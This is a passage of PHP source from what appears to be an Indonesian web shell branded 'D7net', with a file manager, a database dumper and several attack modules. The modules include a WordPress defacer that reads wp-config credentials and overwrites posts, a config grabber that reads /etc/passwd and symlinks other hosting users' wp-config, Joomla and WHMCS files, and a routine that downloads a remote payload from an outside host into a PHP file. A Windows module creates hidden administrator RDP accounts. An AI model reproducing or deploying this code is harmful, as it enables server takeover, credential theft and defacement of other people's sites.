  1535.             $zip->extractTo($targetdir);
  1536.             $zip->close();
  1537.  
  1538.             unlink($targetzip);
  1539.         }
  1540.         $message = "<b>Sukses Gan :)</b>";
  1541.     } else {   
  1542.         $message = "<b>Error Gan :(</b>";
  1543.     }
  1544. }  
  1545. echo '<table style="width:100%" border="1">
  1546.   <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
  1547. <label>Zip File : <input type="file" name="zip_file" /></label>
  1548. <input type="submit" name="submit" value="Upload And Unzip" />
  1549. </form>';
  1550. if($message) echo "<p>$message</p>";
  1551. echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";  
  1552.     if($_POST['backup']){
  1553.     $save=$_POST['save'];
  1554.     function Zip($source, $destination)
  1555. {
  1556.     if (extension_loaded('zip') === true)
  1557.     {
  1558.         if (file_exists($source) === true)
  1559.         {
  1560.             $zip = new ZipArchive();
  1561.  
  1562.             if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
  1563.             {
  1564.                 $source = realpath($source);
  1565.  
  1566.                 if (is_dir($source) === true)
  1567.                 {
  1568.                     $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  1569.  
  1570.                     foreach ($files as $file)
  1571.                     {
  1572.                         $file = realpath($file);
  1573.  
  1574.                         if (is_dir($file) === true)
  1575.                         {
  1576.                             $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  1577.                         }
  1578.  
  1579.                         else if (is_file($file) === true)
  1580.                         {
  1581.                             $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
  1582.                         }
  1583.                     }
  1584.                 }
  1585.  
  1586.                 else if (is_file($source) === true)
  1587.                 {
  1588.                     $zip->addFromString(basename($source), file_get_contents($source));
  1589.                 }
  1590.             }
  1591.  
  1592.             return $zip->close();
  1593.         }
  1594.     }
  1595.  
  1596.     return false;
  1597. }
  1598.     Zip($_POST['dir'],$save);
  1599.     echo "Done , Save To <b>$save</b>";
  1600.     }
  1601. } elseif($_GET['D7net'] == 'dbdump')
  1602.     {
  1603. echo $head.'<p align="center">';
  1604. echo '
  1605. <form action method=post>
  1606. <table width=371 class=tabnet >
  1607. <tr><th colspan="2">Database Dump</th></tr>
  1608. <tr>
  1609.     <td>Server </td>
  1610.     <td><input class="inputz" type=text name=server size=52></td></tr><tr>
  1611.     <td>Username</td>
  1612.     <td><input class="inputz" type=text name=username size=52></td></tr><tr>
  1613.     <td>Password</td>
  1614.     <td><input class="inputz" type=text name=password size=52></td></tr><tr>
  1615.     <td>DataBase Name</td>
  1616.     <td><input class="inputz" type=text name=dbname size=52></td></tr>
  1617.     <tr>
  1618.     <td>DB Type </td>
  1619.     <td><form method=post action="'.$me.'">
  1620.     <select class="inputz" name=method>
  1621.         <option  value="gzip">Gzip</option>
  1622.         <option value="sql">Sql</option>
  1623.         </select>
  1624.     <input class="inputzbut" type=submit value="  Dump!  " ></td></tr>
  1625.     </form></center></table>';
  1626. if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
  1627. $date = date("Y-m-d");
  1628. $dbserver = $_POST['server'];
  1629. $dbuser = $_POST['username'];
  1630. $dbpass = $_POST['password'];
  1631. $dbname = $_POST['dbname'];
  1632. $file = "Dump-$dbname-$date";
  1633. $method = $_POST['method'];
  1634. if ($method=='sql'){
  1635. $file="Dump-$dbname-$date.sql";
  1636. $fp=fopen($file,"w");
  1637. }else{
  1638. $file="Dump-$dbname-$date.sql.gz";
  1639. $fp = gzopen($file,"w");
  1640. }
  1641. function write($data) {
  1642. global $fp;
  1643. if ($_POST['method']=='ssql'){
  1644. fwrite($fp,$data);
  1645. }else{
  1646. gzwrite($fp, $data);
  1647. }}
  1648. mysql_connect ($dbserver, $dbuser, $dbpass);
  1649. mysql_select_db($dbname);
  1650. $tables = mysql_query ("SHOW TABLES");
  1651. while ($i = mysql_fetch_array($tables)) {
  1652.     $i = $i['Tables_in_'.$dbname];
  1653.     $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
  1654.     write($create['Create Table'].";nn");
  1655.     $sql = mysql_query ("SELECT * FROM ".$i);
  1656.     if (mysql_num_rows($sql)) {
  1657.         while ($row = mysql_fetch_row($sql)) {
  1658.             foreach ($row as $j => $k) {
  1659.                 $row[$j] = "'".mysql_escape_string($k)."'";
  1660.             }
  1661.             write("INSERT INTO $i VALUES(".implode(",", $row).");n");
  1662.         }
  1663.     }
  1664. }
  1665. if ($method=='ssql'){
  1666. fclose ($fp);
  1667. }else{
  1668. gzclose($fp);}
  1669. header("Content-Disposition: attachment; filename=" . $file);  
  1670. header("Content-Type: application/download");
  1671. header("Content-Length: " . filesize($file));
  1672. flush();
  1673.  
  1674. $fp = fopen($file, "r");
  1675. while (!feof($fp))
  1676. {
  1677.     echo fread($fp, 65536);
  1678.     flush();
  1679. }
  1680. fclose($fp);
  1681. }
  1682. } elseif($_GET['D7net'] == 'csrfexploit')
  1683. {  
  1684. echo '<html>
  1685. <center><h1 style="font-size:33px;">CSRF Exploiter</h1><br><br>
  1686. <font size="3">*Note : Post File, Type : Filedata / dzupload / dzfile / dzfiles / file / ajaxfup / files[] / qqfile / userfile / etc</font>
  1687. <br><br>
  1688. <form method="post" style="font-size:25px;">
  1689. URL: <input type="text" name="url" size="50" height="10" placeholder="http://www.target.com/path/upload.php" style="margin: 5px auto; padding-left: 5px;" required><br>
  1690. POST File: <input type="text" name="pf" size="50" height="10" placeholder="Lihat diatas ^" style="margin: 5px auto; padding-left: 5px;" required><br>
  1691. <input type="submit" name="d" value="Lock!">
  1692. </form>';
  1693. $url = $_POST["url"];
  1694. $pf = $_POST["pf"];
  1695. $d = $_POST["d"];
  1696. if($d) {
  1697.     echo "<form method='post' target='_blank' action='$url' enctype='multipart/form-data'><input type='file' name='$pf'><input type='submit' name='g' value='Upload'></form></form>
  1698. </html>";
  1699. }
  1700. } elseif($_GET['D7net'] == 'auto_wp') {
  1701.     if($_POST['hajar']) {
  1702.         $title = htmlspecialchars($_POST['new_title']);
  1703.         $pn_title = str_replace(" ", "-", $title);
  1704.         if($_POST['cek_edit'] == "Y") {
  1705.             $script = $_POST['edit_content'];
  1706.         } else {
  1707.             $script = $title;
  1708.         }
  1709.         $conf = $_POST['config_dir'];
  1710.         $scan_conf = scandir($conf);
  1711.         foreach($scan_conf as $file_conf) {
  1712.             if(!is_file("$conf/$file_conf")) continue;
  1713.             $config = file_get_contents("$conf/$file_conf");
  1714.             if(preg_match("/WordPress/", $config)) {
  1715.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  1716.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  1717.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1718.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  1719.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1720.                 $prefix = $dbprefix."posts";
  1721.                 $option = $dbprefix."options";
  1722.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1723.                 $db = mysql_select_db($dbname);
  1724.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  1725.                 $result = mysql_fetch_array($q);
  1726.                 $id = $result[ID];
  1727.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1728.                 $result2 = mysql_fetch_array($q2);
  1729.                 $target = $result2[option_value];
  1730.                 $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
  1731.                 $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
  1732.                 echo "<div style='margin: 5px auto;'>";
  1733.                 if($target == '') {
  1734.                     echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
  1735.                 } else {
  1736.                     echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
  1737.                 }
  1738.                 if(!$update OR !$conn OR !$db) {
  1739.                     echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
  1740.                 } else {
  1741.                     echo "<font color=lime>sukses di ganti.</font><br>";
  1742.                 }
  1743.                 echo "</div>";
  1744.                 mysql_close($conn);
  1745.             }
  1746.         }
  1747.     } else {
  1748.         echo "<center>
  1749.         <h1>Auto Edit Title+Content WordPress</h1>
  1750.         <form method='post'>
  1751.         DIR Config: <br>
  1752.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1753.         Set Title: <br>
  1754.         <input type='text' name='new_title' value='Hacked By Desktop77N3T' placeholder='New Title'><br><br>
  1755.         Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
  1756.         <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
  1757.         <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
  1758.         <input type='submit' class='d7net_table' name='hajar' value='Hajar!' style='width: 450px;'><br>
  1759.         </form>
  1760.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1761.         ";
  1762.     }
  1763. } elseif($_GET['D7net'] == 'removeshell') {
  1764.     if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1765.             die('<center><br><center><h2>Shell removed</h2><br>Goodbye , Thanks for take my shell today</center></center>');
  1766.         else
  1767.             echo '<center>unlink failed!</center>';
  1768. } elseif($_GET['D7net'] == 'grabconfig') {
  1769. echo "
  1770. <head>
  1771. <link rel='icon' type='image/ico' href='http://www.haurgeulis-security.com/favicon.ico/>
  1772. <form method='POST'>
  1773. </head>
  1774. <style>
  1775. textarea {
  1776. resize:none;
  1777. color: #1975FF ;
  1778. border:1px solid white ;
  1779. border-left: 4px solid white ;
  1780. }
  1781. input {
  1782. color: #FF0000;
  1783. border:1px dotted white;
  1784. }
  1785. </style>";
  1786. echo "<br><center><span style='font-size:30px;'>Config Grabber</span>";?></center><br><center><?php if (empty($_POST['config'])) { ?><p><font face="Tahoma" color="#FF0000" size="2pt">/etc/passwd content</p><br><form method="POST"><textarea name="passwd" class='area' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="config" class='d7net_table' size="100" value="Grab Now" type="submit"><br></form></center><br><?php }if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink is disabled :( </error>');}@mkdir('d7net_grab', 0755);@chdir('d7net_grab');
  1787. $htaccess="
  1788. OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
  1789. Options Indexes FollowSymLinks
  1790. ForceType text/plain
  1791. AddType text/plain .php
  1792. AddType text/plain .html
  1793. AddType text/html .shtml
  1794. AddType txt .php
  1795. AddHandler server-parsed .php
  1796. AddHandler txt .php
  1797. AddHandler txt .html
  1798. AddHandler txt .shtml
  1799. Options All
  1800. Options All";
  1801. file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];$passwd=explode("n",$passwd);echo "<br><br><center><font color=#b0b000 size=2pt>wait ...</center><br>";foreach($passwd as $pwd){$pawd=explode(":",$pwd);$user =$pawd[0];@symlink('/home/'.$user.'/public_html/application/config/database.php',$user.'-config2.txt');@symlink('/home/'.$user.'/public_html/application/database/config.php',$user.'-config3.txt');@symlink('/home/'.$user.'/public_html/system/config/database.php',$user.'-config4.txt');@symlink('/home/'.$user.'/public_html/system/config.php',$user.'-config5.txt');@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-config6.txt');@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}echo '<b class="cone"><font face="Tahoma" color="#00dd00" size="2pt"><b>Done -></b> <a target="_blank" href="d7net_grab">Open configs</a></font></b>';}
  1802.     } elseif($_GET['D7net'] == 'configfuck') {
  1803.     $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  1804.     function configfuck($url, $isi) {
  1805.         $fp = fopen($isi, "w");
  1806.         $ch = curl_init();
  1807.               curl_setopt($ch, CURLOPT_URL, $url);
  1808.               curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  1809.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1810.               curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  1811.               curl_setopt($ch, CURLOPT_FILE, $fp);
  1812.         return curl_exec($ch);
  1813.               curl_close($ch);
  1814.         fclose($fp);
  1815.         ob_flush();
  1816.         flush();
  1817.     }
  1818.     if(file_exists('configfuck.php')) {
  1819.         echo "<center><font color=lime><a class='d7net_table' href='$full/configfuck.php' target='_blank'>-> configfucker <-</a></font></center>";
  1820.     } else {
  1821.         if(configfuck("www.chanakyatours.com/package/configfucker.txt","configfuck.php")) {
  1822.             echo "<center><font color=lime><a class='d7net_table' href='$full/configfuck.php' target='_blank'>-> configfucker <-</a></font></center>";
  1823.         } else {
  1824.             echo "<center><font color=red>gagal buat file configfucker</font></center>";
  1825.         }
  1826.     }
  1827. } elseif($_GET['D7net'] == 'krdpshell') {
  1828.     if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
  1829.         if($_POST['create']) {
  1830.             $user = htmlspecialchars($_POST['user']);
  1831.             $pass = htmlspecialchars($_POST['pass']);
  1832.             if(preg_match("/$user/", exe("net user"))) {
  1833.                 echo "[INFO] -> <font color=red>user <font color=lime>$user</font> sudah ada</font>";
  1834.             } else {
  1835.                 $add_user   = exe("net user $user $pass /add");
  1836.                 $add_groups1 = exe("net localgroup Administrators $user /add");
  1837.                 $add_groups2 = exe("net localgroup Administrator $user /add");
  1838.                 $add_groups3 = exe("net localgroup Administrateur $user /add");
  1839.                 echo "[ RDP ACCOUNT INFO ]<br>
  1840.                 ------------------------------<br>
  1841.                 IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font><br>
  1842.                 Username: <font color=lime>$user</font><br>
  1843.                 Password: <font color=lime>$pass</font><br>
  1844.                 ------------------------------<br><br>
  1845.                 [ STATUS ]<br>
  1846.                 ------------------------------<br>
  1847.                 ";
  1848.                 if($add_user) {
  1849.                     echo "[add user] -> <font color='lime'>Berhasil</font><br>";
  1850.                 } else {
  1851.                     echo "[add user] -> <font color='red'>Gagal</font><br>";
  1852.                 }
  1853.                 if($add_groups1) {
  1854.                     echo "[add localgroup Administrators] -> <font color='lime'>Berhasil</font><br>";
  1855.                 } elseif($add_groups2) {
  1856.                     echo "[add localgroup Administrator] -> <font color='lime'>Berhasil</font><br>";
  1857.                 } elseif($add_groups3) {
  1858.                     echo "[add localgroup Administrateur] -> <font color='lime'>Berhasil</font><br>";
  1859.                 } else {
  1860.                     echo "[add localgroup] -> <font color='red'>Gagal</font><br>";
  1861.                 }
  1862.                 echo "------------------------------<br>";
  1863.             }
  1864.         } elseif($_POST['s_opsi']) {
  1865.             $user = htmlspecialchars($_POST['r_user']);
  1866.             if($_POST['opsi'] == '1') {
  1867.                 $cek = exe("net user $user");
  1868.                 echo "Checking username <font color=lime>$user</font> ....... ";
  1869.                 if(preg_match("/$user/", $cek)) {
  1870.                     echo "[ <font color=lime>Sudah ada</font> ]<br>
  1871.                     ------------------------------<br><br>
  1872.                     <pre>$cek</pre>";
  1873.                 } else {
  1874.                     echo "[ <font color=red>belum ada</font> ]";
  1875.                 }
  1876.             } elseif($_POST['opsi'] == '2') {
  1877.                 $cek = exe("net user $user D704T");
  1878.                 if(preg_match("/$user/", exe("net user"))) {
  1879.                     echo "[change password: <font color=lime>D704T</font>] -> ";
  1880.                     if($cek) {
  1881.                         echo "<font color=lime>Berhasil</font>";
  1882.                     } else {
  1883.                         echo "<font color=red>Gagal</font>";
  1884.                     }
  1885.                 } else {
  1886.                     echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
  1887.                 }
  1888.             } elseif($_POST['opsi'] == '3') {
  1889.                 $cek = exe("net user $user /DELETE");
  1890.                 if(preg_match("/$user/", exe("net user"))) {
  1891.                     echo "[remove user: <font color=lime>$user</font>] -> ";
  1892.                     if($cek) {
  1893.                         echo "<font color=lime>Berhasil</font>";
  1894.                     } else {
  1895.                         echo "<font color=red>Gagal</font>";
  1896.                     }
  1897.                 } else {
  1898.                     echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
  1899.                 }
  1900.             } else {
  1901.                 //
  1902.             }
  1903.         } else {
  1904.             echo "-- Create RDP --<br>
  1905.             <form method='post'>
  1906.             <input type='text' name='user' placeholder='username' value='D704T' required>
  1907.             <input type='text' name='pass' placeholder='password' value='D704T' required>
  1908.             <input type='submit' name='create' value='Go!'>
  1909.             </form>
  1910.             -- Option --<br>
  1911.             <form method='post'>
  1912.             <input type='text' name='r_user' placeholder='username' required>
  1913.             <select name='opsi'>
  1914.             <option value='1'>Cek Username</option>
  1915.             <option value='2'>Ubah Password</option>
  1916.             <option value='3'>Hapus Username</option>
  1917.             </select>
  1918.             <input type='submit' name='s_opsi' value='Go!'>
  1919.             </form>
  1920.             ";
  1921.         }
  1922.     } else {
  1923.         echo "<font color=red>Fitur ini hanya dapat digunakan dalam Windows Server.</font>";
  1924. }
  1925. } elseif($_GET['act'] == 'newfile') {
  1926.     if($_POST['new_save_file']) {
  1927.         $newfile = htmlspecialchars($_POST['newfile']);
  1928.         $fopen = fopen($newfile, "a+");
  1929.         if($fopen) {
  1930.             $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  1931.         } else {
  1932.             $act = "<font color=red>permission denied</font>";
  1933.         }
  1934.     }
  1935.     echo $act;
  1936.     echo "<form method='post'>
  1937.     Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
  1938.     <input type='submit' class='d7net_table' name='new_save_file' value='Submit'>
  1939.     </form>";
  1940. } elseif($_GET['act'] == 'newfolder') {
  1941.     if($_POST['new_save_folder']) {
  1942.         $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  1943.         if(!mkdir($new_folder)) {
  1944.             $act = "<font color=red>permission denied</font>";
  1945.         } else {
  1946.             $act = "<script>window.location='?dir=".$dir."';</script>";
  1947.         }
  1948.     }
  1949.     echo $act;
  1950.     echo "<form method='post'>
  1951.     Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  1952.     <input type='submit' class='d7net_table' name='new_save_folder' value='Submit'>
  1953.     </form>";
  1954. } elseif($_GET['act'] == 'rename_dir') {
  1955.     if($_POST['dir_rename']) {
  1956.         $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  1957.         if($dir_rename) {
  1958.             $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  1959.         } else {
  1960.             $act = "<font color=red>permission denied</font>";
  1961.         }
  1962.     echo "".$act."<br>";
  1963.     }
  1964.     echo "<form method='post'>
  1965.     <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
  1966.     <input type='submit' name='dir_rename' value='rename'>
  1967.     </form>";
  1968. } elseif($_GET['act'] == 'delete_dir') {
  1969.     $delete_dir = rmdir($dir);
  1970.     if($delete_dir) {
  1971.         $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  1972.     } else {
  1973.         $act = "<font color=red>could not remove ".basename($dir)."</font>";
  1974.     }
  1975.     echo $act;
  1976. } elseif($_GET['act'] == 'view') {
  1977.     echo "Filename: <font color=yellow>".basename($_GET['file'])."</font><br><a class='d7net_table' href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a><a class='d7net_table' href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a><a class='d7net_table' href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> <a class='d7net_table' href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a><a class='d7net_table' href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a><br>";
  1978.     echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  1979. } elseif($_GET['act'] == 'edit') {
  1980.     if($_POST['save']) {
  1981.         $save = file_put_contents($_GET['file'], $_POST['src']);
  1982.         if($save) {
  1983.             $act = "<font color=yellow>Save Done!</font>";
  1984.         } else {
  1985.             $act = "<font color=red>permission denied</font>";
  1986.         }
  1987.     echo "".$act."<br>";
  1988.     }
  1989.     echo "Filename: <font color=yellow>".basename($_GET['file'])."</font><br><a class='d7net_table' href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a><a class='d7net_table' href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a><a class='d7net_table' href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a><a class='d7net_table' href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a><a class='d7net_table' href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a><br>";
  1990.     echo "<form method='post'>
  1991.     <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  1992.     <input class='d7net_table' type='submit' value='Save' name='save' style='width: 500px;'>
  1993.     </form>";
  1994. } elseif($_GET['act'] == 'rename') {
  1995.     if($_POST['do_rename']) {
  1996.         $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  1997.         if($rename) {
  1998.             $act = "<script>window.location='?dir=".$dir."';</script>";
  1999.         } else {
  2000.             $act = "<font color=red>permission denied</font>";
  2001.         }
  2002.     echo "".$act."<br>";
  2003.     }
  2004.     echo "Filename: <font color=yellow>".basename($_GET['file'])."</font><br><a class='d7net_table' href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a><a class='d7net_table' href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a><a class='d7net_table' href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> <a class='d7net_table' href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a><a class='d7net_table' href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a><br>";
  2005.     echo "<form method='post'>
  2006.     <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  2007.     <input type='submit' name='do_rename' value='rename'>
  2008.     </form>";
  2009. } elseif($_GET['act'] == 'delete') {
  2010.     $delete = unlink($_GET['file']);
  2011.     if($delete) {
  2012.         $act = "<script>window.location='?dir=".$dir."';</script>";
  2013.     } else {
  2014.         $act = "<font color=red>permission denied</font>";
  2015.     }
  2016.     echo $act;
  2017. } elseif(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  2018.     @ob_clean();
  2019.     $file = $_GET['file'];
  2020.     header('Content-Description: File Transfer');
  2021.     header('Content-Type: application/octet-stream');
  2022.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  2023.     header('Expires: 0');
  2024.     header('Cache-Control: must-revalidate');
  2025.     header('Pragma: public');
  2026.     header('Content-Length: ' . filesize($file));
  2027.     readfile($file);
  2028.     exit;
  2029. } else {
  2030.     if(is_dir($dir) == true) {
  2031.         echo '<div id="content"><table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  2032.         <tr>
  2033.         <th class="th_home"><center>Name</center></th>
  2034.         <th class="th_home"><center>Type</center></th>
  2035.         <th class="th_home"><center>Size</center></th>
  2036.         <th class="th_home"><center>Last Modified</center></th>
  2037.         <th class="th_home"><center>Permission</center></th>
  2038.         <th class="th_home"><center>Action</center></th>
  2039.         </tr>';
  2040.         $scandir = scandir($dir);
  2041.         foreach($scandir as $dirx) {
  2042.             $dtype = filetype("$dir/$dirx");
  2043.             $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  2044.             if(!is_dir("$dir/$dirx")) continue;
  2045.             if($dirx === '..') {
  2046.                 $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  2047.             } elseif($dirx === '.') {
  2048.                 $href = "<a href='?dir=$dir'>$dirx</a>";
  2049.             } else {
  2050.                 $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  2051.             }
  2052.             if($dirx === '.' || $dirx === '..') {
  2053.                 $act_dir = "+<a href='?act=newfile&dir=$dir'>newfile</a> | +<a href='?act=newfolder&dir=$dir'>newfolder</a>";
  2054.                 } else {
  2055.                 $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  2056.             }
  2057.             echo "<tr>";
  2058.             echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  2059.             echo "<td class='td_home'><center>$dtype</center></td>";
  2060.             echo "<td class='td_home'><center>-</center></th>";
  2061.             echo "<td class='td_home'><center>$dtime</center></td>";
  2062.             echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
  2063.             echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  2064.         }
  2065.         echo "</tr>";
  2066.         foreach($scandir as $file) {
  2067.             $ftype = filetype("$dir/$file");
  2068.             $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  2069.             $size = filesize("$dir/$file")/1024;
  2070.             $size = round($size,3);
  2071.             if($size > 1024) {
  2072.                 $size = round($size/1024,2). 'MB';
  2073.             } else {
  2074.                 $size = $size. 'KB';
  2075.             }
  2076.             if(!is_file("$dir/$file")) continue;
  2077.             echo "<tr>";
